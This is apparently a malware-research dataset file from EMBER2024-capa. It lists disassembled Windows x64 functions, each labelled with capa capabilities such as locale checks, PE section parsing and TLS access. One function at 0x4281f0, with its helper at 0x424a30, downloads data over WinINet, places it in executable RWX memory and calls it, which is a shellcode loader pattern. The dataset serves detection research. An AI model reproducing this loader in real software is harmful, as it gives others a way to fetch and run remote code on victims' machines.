joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c5b0
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x70
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x90], r8
mov rcx, qword [rbp + 0x88]
call fcn.00409160
mov rcx, qword [rbp + 0x90]
call fcn.00409160
nop
mov rcx, qword [rbp + 0x28]
call fcn.00408fd0
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
call fcn.004094f0
xor rax, rax
cmp qword [rbp + 0x90], 0
je 0x40c653
mov rax, qword [rbp + 0x90]
mov eax, dword [rax - 4]
cmp eax, 1
jl 0x40c68d
mov rcx, qword [rbp + 0x90]
movsxd rdx, eax
cmp word [rcx + rdx*2 - 2], 0x2e
jne 0x40c686
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
mov r8d, 1
movsxd r9, eax
call fcn.0040a130
jmp 0x40c68d
sub eax, 1
test eax, eax
jne 0x40c658
nop
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
call fcn.0040c180
cmp qword [rbp + 0x68], 0
je 0x40c6cb
mov rcx, rbp
lea rdx, [rbp + 0x58]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x68]
call fcn.0040c330
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.00409470
jmp 0x40c767
call sub.kernel32.dll_GetUserDefaultUILanguage
lea rcx, [rbp + 0x48]
mov edx, eax
call fcn.0040b8f0
mov rcx, rbp
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x48]
call fcn.0040c330
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x50]
call fcn.00409470
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x40c740
cmp byte [0x00432c70], 0
jne 0x40c740
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea rcx, [rbp + 0x38]
mov edx, eax
call fcn.0040b8f0
mov rcx, rbp
lea rdx, [rbp + 0x40]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x38]
call fcn.0040c330
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.00409470
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x40c767
mov rcx, rbp
lea rdx, [rbp + 0x30]
mov r8, qword [rbp + 0x60]
call fcn.0040c470
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
call fcn.00409470
nop
lea rcx, [rbp + 0x30]
mov edx, 8
call fcn.004090b0
lea rcx, [rbp + 0x88]
mov edx, 2
call fcn.004090b0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x40d070
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x40d090
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
call sub.kernel32.dll_GetVersion
mov ecx, eax
and ecx, 0xff
and eax, 0xff00
shr eax, 8
cmp ecx, 5
jne 0x40d0b4
cmp eax, 1
jae 0x40d0b9
cmp ecx, 5
jbe 0x40d0c5
mov dword [0x0042e998], 0x7f
jmp 0x40d0cf
mov dword [0x0042e998], 0x409
add rsp, 0x28
ret
Function at 0x40d370
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
call fcn.0040d360
mov ebx, eax
test ebx, ebx
je 0x40d3bb
cmp dword [0x0042b2a0], 0xffffffff
jne 0x40d394
mov ecx, 0xe2
call fcn.00408e40
mov ecx, ebx
call fcn.0040d340
test rax, rax
jne 0x40d3ad
mov ecx, 0xe2
call fcn.00408e40
jmp 0x40d3bb
mov ecx, dword [0x0042b2a0]
mov rdx, rax
call sub.kernel32.dll_TlsSetValue
add rsp, 0x20
pop rbx
ret

Function at 0x40d3d0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
cmp byte [0x00432d4c], 0
je 0x40d40b
mov ecx, dword [0x0042b2a0]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x40d41f
call fcn.0040d370
mov ecx, dword [0x0042b2a0]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x40d41f
mov rax, qword [0x00432d80]
jmp 0x40d41f
mov rax, qword gs:[0x58]
movsxd rcx, dword [0x0042b2a0]
mov rax, qword [rax + rcx*8]
add rsp, 0x28
ret

Function at 0x41fc00
Capabilities:
Get geographical location

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov ebx, r8d
lea r8, [rbp + 0x2c]
mov r9d, 2
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41fc27
movzx rax, word [rbp + 0x2c]
jmp 0x41fc29
mov eax, ebx
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret

Function at 0x420ef0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x8e0
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
lea r8, [rbp + 0x60]
mov r9d, 0x400
call fcn.00420c90
mov ebx, eax
mov rax, qword [0x0042d208]
cmp byte [rax], 0
je 0x421028
mov rcx, qword [0x0042d058]
call fcn.00405990
call fcn.00405100
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov esi, eax
lea rcx, [rbp + 0x58]
mov rdx, qword [0x00420eb0]
mov r8d, 1
movsxd r9, esi
call fcn.0040ade0
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
mov rdx, qword [rbp + 0x58]
mov r8d, esi
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
lea rdx, [0x004210c8]
mov r8d, 2
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
jmp 0x42106e
mov rcx, qword [0x00432d50]
call fcn.0040af50
mov rcx, rax
mov rax, qword [0x0042d008]
mov edx, dword [rax + 8]
lea r8, [rbp + 0x860]
mov r9d, 0x40
call sub.user32.dll_LoadStringW_1
xor rcx, rcx
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x860]
mov r9d, 0x2010
call sub.user32.dll_MessageBoxW
nop
lea rcx, [rbp + 0x58]
mov rdx, qword [0x00420eb0]
call fcn.0040ae20
lea rsp, [rbp + 0x8e0]
pop rbx
pop rsi
pop rbp
ret
Function at 0x423110
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
call fcn.00409620
mov r13d, eax
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call fcn.0040d050
mov esi, eax
cmp esi, 0x104
jbe 0x42316d
mov ecx, esi
add ecx, ecx
mov ecx, ecx
call fcn.00404dc0
mov rdi, rax
jmp 0x423171
lea rdi, [rbp + 0x38]
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], esi
call fcn.0040d050
mov rax, rdi
mov rcx, rax
call sub.user32.dll_CharUpperW
xor rbx, rbx
xor rax, rax
mov ecx, esi
sub ecx, 1
cmp eax, ecx
jg 0x4231c7
add ecx, 1
mov edx, ebx
shl edx, 5
shr ebx, 0x1b
or edx, ebx
mov ebx, edx
movsxd rdx, eax
movzx edx, word [rdi + rdx*2]
xor ebx, edx
add eax, 1
cmp eax, ecx
jne 0x4231ab
nop
lea rax, [rbp + 0x38]
cmp rdi, rax
je 0x4231d9
mov rcx, rdi
call fcn.00404df0
mov eax, ebx
lea rsp, [rbp + 0x240]
pop rbx
pop rsi
pop rdi
pop r13
pop rbp
ret

Function at 0x424a30
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
sub rsp, 0x460
mov rbp, rsp
mov qword [rbp + 0x38], rbp
mov qword [rbp + 0x470], rcx
mov qword [rbp + 0x478], rdx
mov rcx, qword [rbp + 0x470]
mov rdx, qword [0x00418718]
mov r8d, 1
xor r9, r9
call fcn.0040ade0
xor rcx, rcx
mov edx, 1
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
call sub.wininet.dll_InternetOpenW
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x450], 0
jne 0x424ab4
mov rcx, qword [0x00418e00]
mov dl, 1
lea r8, [0x00424c64]
call fcn.004210d0
mov rcx, rax
call fcn.004082f0
nop
mov rcx, qword [rbp + 0x478]
call fcn.00409bd0
mov rcx, qword [rbp + 0x450]
mov rdx, rax
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call sub.wininet.dll_InternetOpenUrlW
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
jne 0x424b15
mov rcx, qword [0x00418e00]
mov dl, 1
lea r8, [0x00424cb4]
call fcn.004210d0
mov rcx, rax
call fcn.004082f0
nop
mov rcx, qword [rbp + 0x458]
lea rdx, [rbp + 0x50]
mov r8d, 0x400
lea r9, [rbp + 0x4c]
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x424b52
mov rcx, qword [0x00418e00]
mov dl, 1
lea r8, [0x00424ce8]
call fcn.004210d0
mov rcx, rax
call fcn.004082f0
cmp dword [rbp + 0x4c], 0
jbe 0x424bbd
mov rax, qword [rbp + 0x470]
mov rcx, qword [rax]
call fcn.0040aa40
mov rcx, qword [rbp + 0x470]
mov rdx, qword [0x00418718]
mov r8d, 1
mov r9d, dword [rbp + 0x4c]
lea r9, [rax + r9]
call fcn.0040ade0
mov rax, qword [rbp + 0x470]
mov rcx, qword [rax]
call fcn.0040aa40
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x470]
mov rdx, qword [rdx]
lea rdx, [rdx + rax]
mov eax, dword [rbp + 0x4c]
neg rax
lea rdx, [rdx + rax]
mov r8d, dword [rbp + 0x4c]
call fcn.00405190
cmp dword [rbp + 0x4c], 0
jne 0x424b16
nop
mov rcx, qword [rbp + 0x458]
call sub.wininet.dll_InternetCloseHandle
nop
mov rcx, qword [rbp + 0x450]
call sub.wininet.dll_InternetCloseHandle
mov rax, qword [rbp + 0x470]
lea rsp, [rbp + 0x460]
pop rbp
ret
Function at 0x4281f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], rbp
nop
lea rcx, [0x00424d60]
call fcn.0040d7a0
nop
nop
call fcn.00424950
test al, al
je 0x428241
mov rcx, qword [0x0042d058]
lea rdx, [0x0042840c]
call fcn.00406340
mov rcx, rax
call fcn.004064b0
call fcn.00405100
call fcn.00408c80
lea rcx, [rbp + 0x20]
lea rdx, [0x0042843c]
call fcn.00424a30
lea rcx, [0x00437250]
mov rdx, qword [rbp + 0x20]
mov r8, qword [0x00418718]
call fcn.0040aea0
mov rcx, qword [0x00437250]
call fcn.0040aa40
xor rcx, rcx
mov rdx, rax
mov r8d, 0x1000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc_1
mov qword [0x00437260], rax
cmp qword [0x00437260], 0
jne 0x4282bb
mov rcx, qword [0x00418e00]
mov dl, 1
lea r8, [0x004284d8]
call fcn.004210d0
mov rcx, rax
call fcn.004082f0
nop
mov rcx, qword [0x00437250]
call fcn.0040aa40
mov rcx, qword [0x00437250]
mov rdx, qword [0x00437260]
mov r8, rax
call fcn.00405190
mov rax, qword [0x00437260]
mov qword [0x00437258], rax
call qword [0x00437258]
nop
mov rcx, qword [0x00437260]
xor rdx, rdx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree_1
jmp 0x42834b
nop
lea rcx, [rbp + 0x20]
mov rdx, qword [0x00418718]
call fcn.0040ae20
call fcn.00408c80
jmp 0x42836b
lea rsp, [rbp + 0x30]
pop rbp
ret
Function at 0x6d8b5500
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8d65e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8b5688
mov rax, qword [0x6d8d65e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8b554c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8b55d5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8b5530
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8b56bd
mov rax, qword [0x6d8d65e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8d65e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8b56a0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8b55ce
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8b5630
add dword [0x6d8d65e4], 1
cmp edi, 8
jae 0x6d8b5603
test dil, 4
jne 0x6d8b5674
test edi, edi
je 0x6d8b55f8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8b568f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8b55f8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8b561c
jmp 0x6d8b55f8
add rsi, qword [0x6d8d65e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8b55ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8b55f8
xor esi, esi
jmp 0x6d8b5557
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8b55f8
mov rax, qword [0x6d8d65e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8b5e10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8d68c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8d68a0]
test rbx, rbx
je 0x6d8b5e64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8b5e5b
test rsi, rsi
je 0x6d8b5e5b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8b5e40
lea rcx, [0x6d8d68c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8b60a0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8b60b0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8b60c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8b6101
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8b60f8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8b6103
add rax, 0x28
cmp rax, r9
jne 0x6d8b60e4
xor eax, eax
ret

Function at 0x6d8b61a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8d31f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8b620d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b620d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b620d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b6204
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b620f
add rax, 0x28
cmp rax, r9
jne 0x6d8b61f0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8b6310
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8d31f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8b6330
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b6328
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b638d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b6384
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b6394
add rax, 0x28
cmp rax, r9
jne 0x6d8b6370
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8b63b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8d31f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8b641e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b641e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8b641e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8b641e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8b6415
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8b6425
add rcx, 0x28
cmp rcx, rax
jne 0x6d8b6400
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8b6438
jmp 0x6d8b641e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8b6446
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8b641e
test r9d, r9d
jg 0x6d8b6430
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8b67b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x6d8b96a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8da5e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8b9828
mov rax, qword [0x6d8da5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8b96ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8b9775
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8b96d0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8b985d
mov rax, qword [0x6d8da5e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8da5e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8b9840
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8b976e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8b97d0
add dword [0x6d8da5e4], 1
cmp edi, 8
jae 0x6d8b97a3
test dil, 4
jne 0x6d8b9814
test edi, edi
je 0x6d8b9798
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8b982f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8b9798
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8b97bc
jmp 0x6d8b9798
add rsi, qword [0x6d8da5e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8b976e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8b9798
xor esi, esi
jmp 0x6d8b96f7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8b9798
mov rax, qword [0x6d8da5e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8b9fb0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8da8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8da8a0]
test rbx, rbx
je 0x6d8ba004
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8b9ffb
test rsi, rsi
je 0x6d8b9ffb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8b9fe0
lea rcx, [0x6d8da8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8ba240
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8ba250
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8ba260
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8ba2a1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8ba298
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8ba2a3
add rax, 0x28
cmp rax, r9
jne 0x6d8ba284
xor eax, eax
ret

Function at 0x6d8ba340
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8d71f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8ba3ad
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8ba3ad
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8ba3ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8ba3a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8ba3af
add rax, 0x28
cmp rax, r9
jne 0x6d8ba390
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8ba4b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8d71f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8ba4d0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8ba4c8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8ba52d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8ba524
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8ba534
add rax, 0x28
cmp rax, r9
jne 0x6d8ba510
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8ba550
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8d71f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8ba5be
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8ba5be
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8ba5be
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8ba5be
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8ba5b5
